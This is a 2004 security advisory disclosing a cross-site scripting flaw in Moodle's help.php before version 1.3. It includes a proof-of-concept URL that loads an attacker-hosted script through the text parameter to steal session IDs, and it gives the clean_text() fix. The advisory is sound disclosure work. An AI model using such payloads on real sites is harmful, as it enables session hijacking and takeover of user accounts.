Cross Site Scripting in Moodle < 1.3

[Bartek Nowotarski <silence10 () wp pl>]

                      Cross Site Scripting in Moodle < 1.3
                      ====================================
                                  2004-04-30

[01] Author:
~~~~~~~~~~~~
author:   Bartek Nowotarski (silence)
location: Trzebinia, Poland
mail:     silence10(at)wp(dot)pl
site:     silence(dot)0(dot)pl

[02] Discussion:
~~~~~~~~~~~~~~~~
"Moodle is a course management system (CMS) - a software package designed to
help educators create quality online courses. Such e-learning systems are
sometimes also called Learning Management Systems (LMS) or Virtual Learning
Environments (VLE)." www.moodle.org
It has over 1000 *register* sites in 75 countries.

Project home site: http://www.moodle.org

[03] Bug:
~~~~~~~~~
It is possible to execute any HTML/javascript command in help.php file by
requesting:
------------------------------------------
http://{some_moodle_site}/help.php?text=&lt;script
src={url_to_script_to_execute}>&lt;/script&gt;
------------------------------------------
A code in {url_to_script_to_execute} will be executed.
Bug enables to get users' session id's by writing a special script and use it
to login as any user.

[04] Solution:
~~~~~~~~~~~~~~
a) This bug have been fixed in version 1.3.
b) For version 1.2 replace line 75:
    --------------------------------
75| echo "$text";
    --------------------------------
with
    --------------------------------
75| echo clean_text($text);
    --------------------------------

[05] Credits:
~~~~~~~~~~~~~
Vulnerability discovered by Bartek Nowotarski (silence). All rights reserved.

[06] Disclaimer:
~~~~~~~~~~~~~~~~
This document and all  the information it contains are provided "as is",
for educational  purposes only,  without  warranty of any kind,  whether
express or implied.

--EOF--